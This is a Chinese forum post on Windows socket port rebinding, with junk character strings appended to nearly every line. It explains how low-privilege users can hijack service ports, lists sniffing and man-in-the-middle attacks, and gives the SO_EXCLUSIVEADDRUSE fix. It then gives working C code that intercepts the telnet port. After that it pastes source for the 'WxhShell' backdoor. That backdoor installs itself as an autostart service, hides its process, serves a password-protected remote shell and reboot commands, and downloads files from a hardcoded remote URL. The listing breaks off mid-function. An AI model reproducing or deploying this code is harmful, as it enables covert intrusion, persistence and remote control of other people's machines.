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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 94?WL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s0^(yEcq  
\?d3Pn5`  
  saddr.sin_family = AF_INET; 4G?^#+|^  
KGHSEZi]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vh;zV Y  
/rnI"ze`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qfyZda0d  
|7tD&9<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =I'3C']Z W  
QCF'/G  
  这意味着什么?意味着可以进行如下的攻击: ^w.hI5ua)  
&J*M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1XMR7liE  
{^ b2nOMv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1(Ta*"(0Ip  
:t{~Mi=T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $KO2+^%y  
LWN {  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jb -kg</A  
67YC;J]n=z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o^\Pt<~W  
0(D^NtB7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /v8Q17O?e  
IB/3=4n^|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *iE tXv  
a+E&{p V  
  #include Ve3z5d:^  
  #include kkF)Tro\  
  #include )ODF6Ag  
  #include     b.&W W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #_@cI(P  
  int main() 3KkfQ{  
  { LdV&G/G-#D  
  WORD wVersionRequested; _*fNa!@hY  
  DWORD ret; &0Yg:{k$  
  WSADATA wsaData; .p&@;fZ  
  BOOL val; 2gPqB*H  
  SOCKADDR_IN saddr; DH-M|~.sf^  
  SOCKADDR_IN scaddr; IW 3k{z  
  int err; QEhn  
  SOCKET s; VThr]$2Y  
  SOCKET sc; Nr4:Gih  
  int caddsize; w +t@G`d  
  HANDLE mt; @1JwjtNk  
  DWORD tid;   /x6p  
  wVersionRequested = MAKEWORD( 2, 2 ); - {QU>`2  
  err = WSAStartup( wVersionRequested, &wsaData ); l@4_D;b3o"  
  if ( err != 0 ) { //q(v,D%Q  
  printf("error!WSAStartup failed!\n"); vxOqo)yO  
  return -1; gBm'9|?  
  } B7C3r9wj  
  saddr.sin_family = AF_INET; amu;grH  
   qN)y-N.LI(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~#A}=, 4>  
+jGHR& A t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z<-_Y]4j  
  saddr.sin_port = htons(23); H\67Pd(Z6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n qcq3o*B  
  { Gt9$hB7  
  printf("error!socket failed!\n"); AK2Gm-hHK  
  return -1; &A QqI  
  } fu/8r%:h  
  val = TRUE; hmO2s/~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _M&TT]a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) = xO03|T;6  
  { C82_ )@96  
  printf("error!setsockopt failed!\n"); /BL:"t@-  
  return -1; #j QauO  
  } J7+G"_)'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +I3jI <  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :v&[ !  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SS=<\q#MS  
>cu%Cs=m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KP&+fDa  
  { { mi}3/  
  ret=GetLastError(); SB_Tzp  
  printf("error!bind failed!\n"); {PHH1dC{  
  return -1; ef5)z}B   
  } y_Y(Xx3  
  listen(s,2); ?"6Zf LRi  
  while(1) ,N.8  
  { wVs?E  
  caddsize = sizeof(scaddr); -@W9+Zf5  
  //接受连接请求 ,fkvvM{mq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?+yr7_f3*  
  if(sc!=INVALID_SOCKET) (#Y~z',I  
  { Da=EAG-{7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mt[yY|Ec|  
  if(mt==NULL) QU"WpkO  
  { -+#%]P8l  
  printf("Thread Creat Failed!\n"); f%Q{}fC{*  
  break; aF{_"X2  
  } X'Ss#s>g  
  }  < $~lFV  
  CloseHandle(mt); [{znwK@  
  } iNO>'7s7  
  closesocket(s); 37#&:[w>  
  WSACleanup(); V]=22Cxi'~  
  return 0; diq}\'f  
  }   o.+;]i}D  
  DWORD WINAPI ClientThread(LPVOID lpParam) Dp@XAyiA[  
  { ~ZHjP_5Q  
  SOCKET ss = (SOCKET)lpParam; oxwbq=a6yV  
  SOCKET sc; [2%[~&4  
  unsigned char buf[4096]; vl"w,@V7  
  SOCKADDR_IN saddr; '0<d9OlJ}  
  long num; t&r.Kf9Z\  
  DWORD val; $^Fl*:6  
  DWORD ret; p=8Qv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *;7y5ZJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'solCAy  
  saddr.sin_family = AF_INET; :cT)M(o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~P4C`Q1PT#  
  saddr.sin_port = htons(23); $*Ucfw1T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /F*Y~>*% 1  
  { h [TwaR  
  printf("error!socket failed!\n"); h3ygL"k  
  return -1; jh5QIZf=  
  } NVyBEAoh  
  val = 100; w_9^YO! !  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JzyCeM =  
  { ,UNb#=it  
  ret = GetLastError(); ZoW1Cc&p  
  return -1; z+"tAVB[i  
  } uZqL'l+/y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B=_w9iVN  
  { o`U}u qrO  
  ret = GetLastError(); ZlT }cA/n  
  return -1; }V?m =y [  
  } %b6$N_M{H1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _:x]' w%  
  { 9^gYy&+>6]  
  printf("error!socket connect failed!\n"); E C?}iP  
  closesocket(sc); BZq#OA p  
  closesocket(ss); '\:4Ijp<"  
  return -1; ({f}Z-%  
  } !`69.v  
  while(1) X+hHEkJ  
  { Z%t_1t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6FUW^dt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YEL0h0gn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 })g<I+]Hf9  
  num = recv(ss,buf,4096,0); ]33!obM  
  if(num>0) TO wd+]B  
  send(sc,buf,num,0); &?<uR)tl  
  else if(num==0) X Xque-  
  break; dkQ4D2W*\  
  num = recv(sc,buf,4096,0); (jc@8@Wo.  
  if(num>0) <2$vo  
  send(ss,buf,num,0); y Zaf q"o  
  else if(num==0) &Mh.PzO=b  
  break; L^J4wYFTO  
  } ]e>qvSuYh  
  closesocket(ss); 6g(;2gY  
  closesocket(sc); bLqy7S9x  
  return 0 ; #M,&g{  
  } u'YXI="(  
Y(Q 0m|3P  
>O'\ jp}$l  
========================================================== _~kw^!p>Kr  
'Wlbh:=$  
下边附上一个代码,,WXhSHELL bJ d| mm/v  
=i/Df ?  
========================================================== {)YbksrJ{  
@rl5k(  
#include "stdafx.h" r- 8Awa  
7! O"k#  
#include <stdio.h> Z,&O8Jelf  
#include <string.h> |OeyPD#  
#include <windows.h> _v!7 |&\  
#include <winsock2.h> u3T-U_:jSV  
#include <winsvc.h> mm/\\my  
#include <urlmon.h> rrD6x>  
TdhfX{nk  
#pragma comment (lib, "Ws2_32.lib") TxrW69FV7  
#pragma comment (lib, "urlmon.lib") 3efOgP=L  
UXm_-/&b9  
#define MAX_USER   100 // 最大客户端连接数 (i "TF2U,<  
#define BUF_SOCK   200 // sock buffer MxTJgY  
#define KEY_BUFF   255 // 输入 buffer ]OAU&t{  
Z@~gN5@,M  
#define REBOOT     0   // 重启 Kb~nC6yJc  
#define SHUTDOWN   1   // 关机 _4{0He`q  
1p&.\ ^  
#define DEF_PORT   5000 // 监听端口 5100fX}  
{K^5q{u  
#define REG_LEN     16   // 注册表键长度 bz*@[NQ  
#define SVC_LEN     80   // NT服务名长度 'L/)9.29  
.N(R~_  
// 从dll定义API Vt`4u5HG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '+Dsmoy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xIdb9hm<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JrP`u4f_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )g pN 5TDd  
pdu1 kL  
// wxhshell配置信息 ;-db/$O  
struct WSCFG { d$ouH%^cGu  
  int ws_port;         // 监听端口 &RR;'wLoQT  
  char ws_passstr[REG_LEN]; // 口令 /s?%ft#-9o  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7@ym:6Y+]  
  char ws_regname[REG_LEN]; // 注册表键名 @iz Onc:  
  char ws_svcname[REG_LEN]; // 服务名 fu7x,b0p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7nt(Rtbsu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `?VK(<w0q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gb')a/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9z,sn#-t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O4rjGTRF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &4Z8df!  
>d 5-if  
}; {`HbpM<=m]  
7qC /a c  
// default Wxhshell configuration ;qmnG3;Q  
struct WSCFG wscfg={DEF_PORT, ;>,B(Xz4i  
    "xuhuanlingzhe", qq)5)S  
    1, ZflB<cI  
    "Wxhshell", s_^`t+5  
    "Wxhshell", |d0X1(  
            "WxhShell Service", 5Tn<  
    "Wrsky Windows CmdShell Service", '5}hm1,  
    "Please Input Your Password: ", lMv6QL\>'  
  1, \VPw3  
  "http://www.wrsky.com/wxhshell.exe", "8QRYV~Z  
  "Wxhshell.exe" ,='Ihi  
    }; z~{08M7  
z,Xj$wl  
// 消息定义模块 I:dUHN+@L5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &A:&2sP8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dj/Hz\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a1,)1y~  
char *msg_ws_ext="\n\rExit.";  ?K-4T  
char *msg_ws_end="\n\rQuit."; \8(Je"S  
char *msg_ws_boot="\n\rReboot..."; 1^_W[+<S/  
char *msg_ws_poff="\n\rShutdown..."; h;=~%2Y  
char *msg_ws_down="\n\rSave to "; F:zmO5L5  
=Jp:dM*  
char *msg_ws_err="\n\rErr!"; O%t? -h  
char *msg_ws_ok="\n\rOK!"; B:>:$LIL  
QPuc{NcB>  
char ExeFile[MAX_PATH]; =svFw&q"  
int nUser = 0; JMAdsg/  
HANDLE handles[MAX_USER]; %[XP}L$  
int OsIsNt; 0>[]Da}  
"8Dm7)nB  
SERVICE_STATUS       serviceStatus; 6AIqoX*p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y[J9"k(@  
XT/t\\Z`U  
// 函数声明 (N/u@M  
int Install(void); =Ti!9_~  
int Uninstall(void); + S+!:IB  
int DownloadFile(char *sURL, SOCKET wsh);  II'.vp  
int Boot(int flag); fhi}x(  
void HideProc(void); ?0)K[Kd'Y  
int GetOsVer(void); 4(8c L?J`0  
int Wxhshell(SOCKET wsl); UDHOcb  
void TalkWithClient(void *cs); nw+t!C  
int CmdShell(SOCKET sock); Sr+hB>{  
int StartFromService(void); =1Plu5  
int StartWxhshell(LPSTR lpCmdLine); C\{A|'l!x  
m9h<)D'>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =2q#- ,t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oVK?lQ~y  
+*OAClt+]  
// 数据结构和表定义 _J*l,]}S  
SERVICE_TABLE_ENTRY DispatchTable[] = qt:B]#j@  
{ OX,em Ti  
{wscfg.ws_svcname, NTServiceMain}, %C%3c4+Oh  
{NULL, NULL} "%K'~"S#Q,  
}; H~*N:$C  
F=5+JjrX  
// 自我安装 K0>;4E>B  
int Install(void) gpq ,rOIK  
{ kNP-+o  
  char svExeFile[MAX_PATH]; ,wf_o%'eW  
  HKEY key; 2fdN@iruB  
  strcpy(svExeFile,ExeFile); M._h=wX{}  
,t_&tbf3  
// 如果是win9x系统,修改注册表设为自启动 I484c R2.  
if(!OsIsNt) { \HxF?i "   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'oz$uvX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]prw=rD  
  RegCloseKey(key); 5NkF_&S_1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }S"gZ6   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aGW O3Nk  
  RegCloseKey(key); -qpvVLR,  
  return 0; 46M=R-7=  
    } `pv  
  } _W@sFv%sj  
} {pQ8/Af!  
else { uv5NqL&  
lB2 F09`  
// 如果是NT以上系统,安装为系统服务 .NWsr*Tel  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O-0 5.  
if (schSCManager!=0) ZYB5s~;eB"  
{ *56j'FX  
  SC_HANDLE schService = CreateService /?BTET  
  ( nls$ wE  
  schSCManager, };r EN`L  
  wscfg.ws_svcname, }A6z%|d  
  wscfg.ws_svcdisp, "#36-  
  SERVICE_ALL_ACCESS, r}Vr_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S^q^=q0F  
  SERVICE_AUTO_START, alxIc.[  
  SERVICE_ERROR_NORMAL, "4KyJ;RA*  
  svExeFile, Rhlm  
  NULL,  "X=^MGV  
  NULL, p%Q{Rqc)  
  NULL, a^G>|+8  
  NULL, m[l&&(+J,  
  NULL UQI!/6F  
  ); oGXcu?ft  
  if (schService!=0) eVj 8u  
  { ^^V+0 l  
  CloseServiceHandle(schService); )#Ecm<.^  
  CloseServiceHandle(schSCManager); ^tyqc8&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :\mdVS!o  
  strcat(svExeFile,wscfg.ws_svcname); qU&v50n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { | Eu#mN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (RUc>Qi  
  RegCloseKey(key); Q=<&ew  
  return 0; )+)qFGVz  
    } V[8!ymi0  
  } 5s0`T]X-  
  CloseServiceHandle(schSCManager); C9Cl$yZ  
} 1JS5 LS  
} Qm[ )[M  
3nq4Y'  
return 1; AgDXpaq  
} I_c?Ky8J_|  
#pD=TMefC  
// 自我卸载 zYis~ +  
int Uninstall(void) R{B5{~m>W@  
{ 8`<3rj  
  HKEY key; qe uc^+P;  
*EU1`q*  
if(!OsIsNt) { )Zvn{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YEiw!  
  RegDeleteValue(key,wscfg.ws_regname); wG 5H^>6u>  
  RegCloseKey(key); >)`*:_{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h-03]M#8=  
  RegDeleteValue(key,wscfg.ws_regname); `'rvDaP  
  RegCloseKey(key); t,5AoK/NL9  
  return 0; BgsU:eKe  
  } 9:!V":8q  
} w\JTMS$  
} |UQGZ  
else { {o %OG/!1  
L>`inrpz=w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }o=s"0a  
if (schSCManager!=0) C7l4X8\w  
{ Q-e(>=Gv_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qj9'VI>&  
  if (schService!=0) PmUq~YZ7  
  { m4c2WY6k  
  if(DeleteService(schService)!=0) { /p{$HkVw  
  CloseServiceHandle(schService); M r~IVmtf  
  CloseServiceHandle(schSCManager); !imjfkG  
  return 0; ?KFj=Yo  
  } |v"&Y  
  CloseServiceHandle(schService); U uSCqI};  
  } |Mnc0Fgvy,  
  CloseServiceHandle(schSCManager); 8$ _8Yva"e  
} _.GHtu/I  
} +qa^K%K  
!$0ozDmD  
return 1; Vpxsg CS  
} c*V/2" 5  
Q/l388'  
// 从指定url下载文件 /6'5uP   
int DownloadFile(char *sURL, SOCKET wsh) Y-y}gc_L  
{ _lw:lZM?  
  HRESULT hr; n?NUnFA  
char seps[]= "/";  )jH|j  
char *token; %bB:I1V\  
char *file; ~T\:".C  
char myURL[MAX_PATH]; :w9s bW  
char myFILE[MAX_PATH]; rW2   
]2mfby  
strcpy(myURL,sURL); dJ7!je1N*  
  token=strtok(myURL,seps); ^Zq3K  
  while(token!=NULL) LHusy;<E[  
  { EE~DU;p;]  
    file=token; Gr|102  
  token=strtok(NULL,seps); HA;G{[X  
  } _^NL{R/  
;/(<yu48  
GetCurrentDirectory(MAX_PATH,myFILE); )VkH':yCM  
strcat(myFILE, "\\"); bx3kd+J7  
strcat(myFILE, file); aB~=WWLR\  
  send(wsh,myFILE,strlen(myFILE),0); P?M WT]fY  
send(wsh,"...",3,0); Hg+bmwM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8^qLGUxz  
  if(hr==S_OK) Dp;6CGYl?  
return 0; n{z!L-x^b  
else 3Ebkq[/*%  
return 1; 4nD U-P#f  
.10$n*  
} F t;[>o  
C <q@C!A  
// 系统电源模块 Z:<6Ck  
int Boot(int flag) 0' II6,:  
{ aeTVcq  
  HANDLE hToken; i/q1>  
  TOKEN_PRIVILEGES tkp; FrQRHbp3  
hR~~k~84  
  if(OsIsNt) { ?`=r@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F'JceU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a*{ -r]  
    tkp.PrivilegeCount = 1; XjJ[7"hs*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z 5IdYF?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c~n:xblv  
if(flag==REBOOT) { <):= mr7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k`r`ZA(kQ-  
  return 0; =o,6iJ^?$m  
} Qg gx:  
else { gP>`DPgb^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h$a% PaVf  
  return 0; !^(?C@TQ  
} S0p[Kt  
  } /\UFJ  
  else { ;+R  
if(flag==REBOOT) { 7Ezy-x2h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,&rHBNS  
  return 0; hH=}<@z   
} 1zJ)x?  
else { "' ]|o~B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c>yqq'  
  return 0; //- ;uEO  
} U<.,"`=l  
} +jGSD@32>  
bv4G!21]*;  
return 1; W3 2]#M=  
} >Ef{e6  
vFl06N2  
// win9x进程隐藏模块 ~Jx0#+z9V  
void HideProc(void) P^& =L&U  
{ (@;=[5+  
gSXidh}^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :B5M#D!dO  
  if ( hKernel != NULL ) ^U]B&+m  
  { ;wj8:9 ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QX|y};7\e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :6y;U  
    FreeLibrary(hKernel); Gq9pJ  
  } I?Ct@yxhF'  
b=Oec%Adx  
return; )CUB7D)=  
} .u$o^; z!  
F4 :#okt  
// 获取操作系统版本 3.<E{E!F  
int GetOsVer(void) I&|J +B?#  
{ y:ad%,. C  
  OSVERSIONINFO winfo; ~SR9*<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >m4Q*a4M  
  GetVersionEx(&winfo); oVja$;>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y8CH=U[  
  return 1; [X\~J &kD  
  else O#B2XoZa+  
  return 0; OCN@P+L3q  
} wJu,N(U  
vC>8:3Z aq  
// 客户端句柄模块 eeu;A, @U  
int Wxhshell(SOCKET wsl) 9 Aq\1QC  
{ Vs@H>97,G  
  SOCKET wsh; U6yZKK  
  struct sockaddr_in client; w4(g]9^Q  
  DWORD myID; Z@ QJ5F1y  
ylwh_&>2  
  while(nUser<MAX_USER) |++\"g  
{ /O&{fo  
  int nSize=sizeof(client); xmBGZ4f%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B4 +A  
  if(wsh==INVALID_SOCKET) return 1; U)iq  
s\3OqJo%)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fsz:A"0H  
if(handles[nUser]==0) 9@yi UX  
  closesocket(wsh); .p$tb2%r  
else n|AV7c  
  nUser++; `T(T]^C98  
  } ?Oyps7hXx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qM8"* dL  
*d mS'/  
  return 0; ~3,k8C"pRq  
} mo  
w  
// 关闭 socket ^M~Z_CQL2  
void CloseIt(SOCKET wsh) mq6TwM  
{  y)GH=@b  
closesocket(wsh); y,cz;2  
nUser--; s?~lMm' !  
ExitThread(0); ]x:>!y  
} 3T84f[CFJ  
br4?_,  
// 客户端请求句柄 1XPYI  
void TalkWithClient(void *cs) }\3jcnn  
{ cPbAR'  
1%`Nu ]D  
  SOCKET wsh=(SOCKET)cs;  G%5ZG$as  
  char pwd[SVC_LEN]; lXOT>$qR<  
  char cmd[KEY_BUFF]; qEajT"?  
char chr[1]; ~x6<A\  
int i,j; 83g$k 9lG.  
s5 ($b  
  while (nUser < MAX_USER) { $ n"*scyI  
TAp8x  
if(wscfg.ws_passstr) { $~r_&1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bd)'1;p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +\)a p  
  //ZeroMemory(pwd,KEY_BUFF); cT(=pMt8>  
      i=0; W\5PsGUsv  
  while(i<SVC_LEN) { i.Z iLDs\7  
20?@t.aMp  
  // 设置超时 r}i}4K[1  
  fd_set FdRead; 0I['UL^!F  
  struct timeval TimeOut; iph}!3f  
  FD_ZERO(&FdRead); ?'RB'o~  
  FD_SET(wsh,&FdRead); lFZl}x  
  TimeOut.tv_sec=8; Q%!Dk0-)  
  TimeOut.tv_usec=0; %_%Bb Qf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8T?D#,/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CWa~~h<r-  
B!1Bg9D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NE4 }!I  
  pwd=chr[0]; J^y?nE(j  
  if(chr[0]==0xd || chr[0]==0xa) { 9|NH5A"H.  
  pwd=0; ?4cj"i  
  break; \qz! v  
  } vo>i36  
  i++; XJ e}^k  
    } 2KtK.2;7  
TXo`P_SE  
  // 如果是非法用户,关闭 socket +=K =B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \- 8S"  
} gfJHB3@  
SW)jDy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A~({vb'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;(&S1Rv9  
i"d&U7Q  
while(1) { t W}"PKv  
MFQyB+Z  
  ZeroMemory(cmd,KEY_BUFF); IxaF *4JG  
aUk]wiwIR9  
      // 自动支持客户端 telnet标准   2#oU2si   
  j=0; _F},Wp:Oh  
  while(j<KEY_BUFF) { .t7ME{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s w{e |  
  cmd[j]=chr[0]; o[)*Y`xq<w  
  if(chr[0]==0xa || chr[0]==0xd) { 3?e~J"WXC5  
  cmd[j]=0; c8LMvL  
  break; Vw]!Kb7tA  
  } eY[kUMo  
  j++; xauMF~*  
    } =SD^Jl{H  
;z T3Fv\  
  // 下载文件 NG_7jZzXA9  
  if(strstr(cmd,"http://")) { jss.j~8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xVk5%  
  if(DownloadFile(cmd,wsh)) Ey=ymf.}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `BVXF#sb  
  else D)tL}X$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8]D0)  
  } |k^C-  
  else { 055C1RV%  
$plqk^P  
    switch(cmd[0]) { [}!0PN?z~A  
  6aLRnH"Ud  
  // 帮助 ^?NLA&v<  
  case '?': { Zc'^iDAY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,b4oV  
    break; uS5G(}[  
  } 25 cJA4  
  // 安装 (hEg&@  
  case 'i': { _y&XFdp  
    if(Install()) \q\"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0S96x}]J B  
    else  S~bhh&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C\4d.~C:w3  
    break; -^3uQa<zN^  
    } -lrcb/)Gz  
  // 卸载 k~F;G=P  
  case 'r': {  nZ)E @  
    if(Uninstall()) Z~F*$jn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H: S<O%f  
    else ] n\]ao  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Vu;R5GZ}  
    break; 1'N<ITb  
    } C]Y%dQh+a  
  // 显示 wxhshell 所在路径 %o 5'M^U  
  case 'p': { iI>7I<_  
    char svExeFile[MAX_PATH]; =3ovaP  
    strcpy(svExeFile,"\n\r"); 9kh MG$  
      strcat(svExeFile,ExeFile); [(eX\kL  
        send(wsh,svExeFile,strlen(svExeFile),0); f `D( V-4  
    break; 70'gVCb  
    } --EDr>'D5P  
  // 重启 S+"Bq:u"  
  case 'b': { TOhWfl;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mfG m>U  
    if(Boot(REBOOT)) IEfYg(c0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1qr6P,"  
    else { 1[J|AkN  
    closesocket(wsh); F 2Y!aR  
    ExitThread(0); e{9~m  
    } r@/@b{=  
    break; M4D @G  
    } OE}FZCX F  
  // 关机 xZ6x`BET-  
  case 'd': { uq ;yR[w"  
